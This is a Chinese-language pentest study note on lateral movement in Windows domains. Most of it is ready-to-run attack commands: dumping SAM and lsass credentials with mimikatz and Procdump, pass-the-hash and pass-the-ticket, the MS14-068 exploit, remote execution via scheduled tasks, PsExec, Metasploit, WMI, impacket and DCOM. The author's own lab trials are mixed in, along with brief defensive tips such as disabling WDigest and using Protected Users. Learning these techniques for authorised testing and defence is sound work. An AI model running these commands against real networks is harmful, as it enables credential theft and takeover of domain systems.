內網安全:域內橫向移動

  • 2021 年 9 月 30 日
  • 筆記

橫向移動原理

在滲透測試中拿到目標計算機的用戶明文密碼或者NTLM Hash後,可以通過PTH(憑據傳遞)的方法,將散列值或者明文密碼傳送到目標主機進行驗證,與目標主機建立連接後,可以使用相關方法在遠程Windows操作系統中執行命令

在實際的網絡環境中,針對此類情況,網絡管理人員可以通過配置Windows系統自帶的防火牆或組策略進行防禦

 

IPC遠程連接及相關命令

原理

IPC共享命名管道,為了實現進程間通信而開放命名的管道。IPC可以通過驗證用戶和密碼獲取相應的權限,通常在遠程管理計算機和查看計算機的共享資源時使用。

通過IPC可以與目標機器建立連接。利用這個連接不僅可以訪問目標機器中的文件,進行上傳下載等操作,還可以在目標機器上運行其他命令,以獲取目標機器的目錄結構、用戶列表等信息

利用條件

  • 開啟139、445端口
  • 管理員開啟默認共享

 

使用Windows自帶的工具獲取遠程主機信息

建立刪除

建立一個ipc

net use \\192.168.1.3\ipc$ "密碼" /user:賬號

net use 查看已經建立的連接

 

刪除ipc連接

net use \\192.168.1.3\ipc$ /del 

  

 dir命令

建立ipc連接後列出遠程主機中的文件

dir \\ip地址\c$

 還有一種方法更便捷

將目標主機的c盤映射到本地z盤

net use z: \\192.168.1.3\c$

 

tasklist任務

使用tasklist命令的/S(IP地址)、/U(賬號)、/P(密碼)參數列出遠程主機上運行的進程

tasklist /S 192.168.1.3 /U user /P password

 

at命令計劃任務

(1)首先使用net time確定遠程主機當前系統時間

net time \\192.168.1.3

(2)使用copy命令將payload文件複製到遠程目標機器中

copy calc.bat \\192.168.1.3\c$

(3)使用at創建計劃任務

at \\192.168.1.3 13:56 C:\calc.bat

等待時間到了就會自動執行

(4)使用at遠程執行命令

先將執行結果寫入本地文本文件

at \\192.168.1.3 14:09 cmd.exe /c "ipconfig >C:/1.txt"

使用type讀取

 

 (5)清除at記錄

at \\192.168.1.3 3 /delete  //ip加計劃任務的id

 

schtasks命令計劃任務

win2008及之後的版本的操作系統已經將at命令廢棄了,於是攻擊者開始用schtasks代替at命令 

在遠程主機創建一個名為test的計劃任務。該計劃任務在開機時啟動,啟動程序為C盤下的calc.bat,啟動權限為System

schtasks /create /s 192.168.1.3 /tn test /sc onstart /tr c:\calc.bat /ru system /f

 使用schtasks命令時若已經建立了ipc連接則不需要輸密碼,若沒建立

/u:賬號

/p:密碼

或者創建定時任務

schtasks /create /s 192.168.1.3 /tn test /sc once /st 17:07 /tr c:\calc.bat /ru system /f /u administrator /p Lirenyu579  

Schtasks命令詳解

 

  

Windows散列值獲取分析

 Windows操作系統中的密碼一般由兩部分組成,一部分為LM Hash ,另一部分為NTLM Hash。

LM Hash本質是DES加密,較易破解,但為了保證系統的兼容性,Windows只是將LM Hash禁用了,從win vista和win2008版本開始默認禁用。如果LM Hash被禁用,攻擊者抓取的LM Hash通常為:aad3b435b51404eeaad3b435b51404ee

NTLM Hash基於MD4加密,個人版windows vista。服務器版win2003之後的認證方式都是NTLM Hash

 單機密碼抓取與防範

 想要抓取散列值或密碼需要system權限

散列值和其他安全驗證信息都保存在sam文件中。lsass.exe進程用於實現windows的安全策略,可以使用工具將散列值和密碼從內存中的lsass.exe進程或sam文件導出。sam文件保存在windows/system32/config,該文件是鎖定的不可複製。但在滲透測試中可以等關閉windows系統後,使用PE盤進入文件管理環境,直接複製sam文件

 

通過SAM和System文件抓取密碼

(1)首先無工具導出sam文件

reg save hklm\sam sam.hive
reg save hklm\system system.hive

 

 (2)使用mimikatz讀取獲得NTLM Hash

將剛剛導出的文件和mimiKatz放在同一目錄下,運行mimikatz

lsadump::sam /sam:sam.hive /system:system.hive

 

使用mimikatz在線讀取sam文件

在mimikatz目錄打開命令行

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

 

 

使用mimikatz離線讀取lsass.dmp文件

(1)使用Procdump導出lsass.dmp文件

Procdump是微軟官方的 工具,可在命令行將lsass導出,且殺軟不會攔截

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

 (2)使用mimikatz導出lsass.dmp文件中的密碼散列值

導入lsass.dmp文件

mimikatz.exe "sekurlsa::minidump lsass.DMP"

 (3)導出密碼散列值

sekurlsa::logonPasswords full

 

使用PowerShell對散列值進行Dump操作

使用Nishang中的Get-PassHashes.ps1

先導入nishang

Import-Module .\nishang.psm1

 

 

單機密碼抓取防範

Wdigest防止明文密碼泄露

微軟為了防止明文密碼泄露發佈了補丁KB2871997,關閉了Wdigest功能。Windows server2012以上默認關閉。  

開啟Wdigest  Auth

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UserLogonCredential /t Reg_DWORD /d 1 /f

關閉Wdigest  Auth

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UserLogonCredential /t Reg_DWORD /d 0 /f

 查詢

reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UserLogonCredential  

設置了之後,使用mimikatz就只能抓取NTLM Hash,不能獲取明文密碼  

 

設置Active Directory 2012 R2功能級別 

windows server 2012新增了一個名為受保護的用戶的用戶組,只要將用戶放入改組,攻擊者就無法使用mimikatz等工具抓取密碼及散列值

 

 

防禦mimikatz攻擊

mimikatz在抓取密碼及散列值時需要使用Debug權限,因為mimikatz需要與lsass進程進行交互,如果沒有debug權限就不能讀取lsass。

因此可以將擁有debug權限的管理員從administrators組中刪除,mimikatz無法獲取debug權限將無法使用

 

 

哈希傳遞攻擊(PTH、PTK)

在域環境中,大量計算機在安裝時會使用相同的本地管理員賬號和密碼,因此如果攻擊者獲取了一台計算機的NTLM Hash值,就可以通過哈希傳遞攻擊的方式登陸到內網中的其他機器

使用NTLM Hash進行哈希傳遞攻擊

mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:hacke /ntlm:3f57163975979b7a85ff54a641a63b2d"

 列出域控制器c盤的內容

dir \\dc\c$

 

使用AES-256密鑰進行哈希傳遞攻擊

使用mimikatz抓取AES-256密鑰

privilege::debug
sekurlsa::ekeys

mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:hacke /aes256:00efd5d3f7e68e667fbc16d1691270faa6ca32c8bb6b0516ec602b7205fb4110"

 但是將密鑰導入之後仍然不能訪問遠程主機。這是因為必須要在目標機器上安裝KB2871997,才可以通過aes-256橫向移動

  

 

票據傳遞攻擊(PTT)

mimkatz導出票據

使用mimikatz將內存中的票據導出

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"

 當前目錄會出現多個服務的票據文件

使用mimikatz清除內存中的票據

kerberos::purge   \\清除票據
kerberos::tgt     \\查看票據

將票據文件注入內存,選擇@krbtgt文件

mimikatz "kerberos::ptt "C:\Users\administrator.WIN-2008\Desktop\x64\[0;3e4][email protected]"

mimikatz "kerberos::ptt "C:\Users\testuser\Desktop\x64\[0;123ff2][email protected]"

 但這裡我沒成功,沒有administrator的票據。後面試了一下如果登陸administrator用戶可以直接訪問遠程dc,再次切換回來低權限的用戶testuer之後,拿到了administrator的票據,也成功訪問了dc。但這裡還是需要管理員的權限來導出票據

 

利用ms14-068漏洞 

這種方法不需要管理員的權限就能實現普通用戶直接獲取域控system權限  

首先whoami /user 查看sid

 第二步用mimikatz清除票據

kerberos::purge   \\清除票據
kerberos::tgt     \\查看票據

或者cmd清除

klist purge  \\清除
klist        \\查看

第三步利用ms14-068生成TGT數據

 ms14-068.exe -u域成員名@域名 -s sid -d 域控制器地址 -p 域成員密碼

ms14-068.exe -u [email protected] -s S-1-5-21-954094320-202977030-1482179831-1105 -d 192.168.1.1 -p xxxxxxxx

 第四步用mimikatz將生成的票據注入內存

kerberos::ptc C:\Users\testuser\Desktop\[email protected]

 這裡我的域控版本比較高應該是打了補丁的,所以沒成功。

  

PsExec的使用  

Psexec起初用於大批量Windows主機的運維,在域環境下效果很好。但攻擊者漸漸開始使用PsExec通過命令行環境與目標機器連接,甚至控制目標機器,且不需要通過遠程桌面協議進行圖形化控制,降低了惡意操作被管理員發現的可能性。(PsExec是windows提供的工具,所以殺軟將其列在白名單中)

PsTools工具包中的PsExec

在建立了ipc$(administrator)的情況下執行如下命令,獲取System權限的shell

PsExec.exe -accepteula -s \\192.168.1.3 cmd.exe

-accepteula  確認參數,使用該參數不會彈出確認框

-s  以system權限運行,獲得system權限的交互式shell,否則就是administrator權限

若沒建立ipc$連接,可以使用-u -p參數連接 

PsExec.exe -accepteula -s \\192.168.1.3 -u administrator -p admini!@# cmd.exe

  

Metasploit中的PsExec

 使用第九個 exploit/windows/smb/psexec  

show options  //查看參數
set rhost 192.168.200.24 //ip
set smbuser administrator  //賬戶
set smbpass admin!@#  //密碼

返回system權限 

 

WMI的使用

WMI全名 Windows Management Instrumentation 。WMI由一系列工具組成,可以在本地或遠程管理計算機系統。

PsExec在內網被嚴格監控,很多反病毒的廠商將PsExec放入黑名單,於是攻擊者就開始利用WMI進行橫向移動,並且使用wmiexec進行橫向移動的時候,Windows操作系統默認不會將WMI的操作記錄在日誌中。

基本命令

命令行執行命令,使用目標系統的cmd.exe 執行ipconfig將執行結果保存在ip.txt

wmic /node:192.168.1.3 /user administrator /password:admin!@# process call create "cmd.exe /c ipconfig >c:\ip.txt"

 接着建立ipc$連接,使用type命令讀取執行結果

 接下來就可以使用WMIC遠程執行命令了,但如果目標開啟了防火牆,wmic將無法進行連接,此外,wmic命令沒有回顯,需要使用ipc$和type命令來讀取信息。如果wmic執行的是惡意程序,將不會留下日誌

 

impacket工具包中的wmiexec

在KALI下載安裝impacket包

wmiexec.py administrator:[email protected]

 報了個沒模塊的錯誤

解決方法:回到目錄安裝

setup.py install

 就可以運行啦

該方法主要在從Linux向Windows進行橫向滲透測速使用

 

windows也有impacket工具包,都是打包好的exe文件,在windows下進行橫向:

wmiexec.exe administrator:[email protected]

 

Invoke-WmiCommand

Invoke-WmiCommand.ps1腳本包含在PowerSploit工具中。通過powershell調用WMI來遠程執行命令

將模塊導入後執行命令

//目標系統用戶名
$User="hacke/administrator"
//目標系統密碼
$Password=ConvertTO-SecureString -String "a123456#" -AsPlainText -Force
//將賬號和密碼整合起來,以便導入Credential
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password
//遠程執行命令
$Remote=Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.1.3
//將執行結果輸出到屏幕
$Remote.PayloadOutput

 看起來用不了。。。

 

smbexec使用

smbexec可以通過文件共享在遠程系統中執行命令

impacket工具包中的smbexec.py

smbexec.py hacke/administrator:[email protected]

 

 DOM在遠程系統中的使用

 DCOM分佈式組件對象模型,是微軟的一系列概念和程序接口。通過DCOM,客戶端程序對象能夠像網絡中的另一台計算機上個的服務器程序對象發送請求

 通過本地DCOM執行命令

獲取DCOM程序列表

Get-CimInstance默認只在PowerShell3.0以上版本存在(win server2012以上)

Get-CimInstance Win32_DCOMApplication

 

 

 2012以下可以以下命令代替

Get-WmiObject -Namespace ROOT\CIMV2 -Class WIN32_DCOMApplication

 

使用DCOM執行任意命令

$com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))

$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minized")

 執行完畢,將以當前會話執行Administrator權限的calc.exe

如果攻擊者把計算機程序換成惡意的Payload,就會對系統安全造成威脅

  

使用DCOM在遠程機器上執行命令

通過$ipc連接遠程計算機

net use \\192.168.1.2 "Admin111" /user:administrator

執行命令

調用MMC20.Application

建立$ipc後,遠程系統運行calc.exe  

$com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.1.2"))

$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","")

 

 

或者調用9BA05972-F6A8-11CF-A442-00A0C90A8F39

$com=[type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.1.2")
$obj=[System.Activator]::CreateInstance($com)
$item=$obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

 

這兩種方法均適用於Windows7-10、Windows server 2008-2016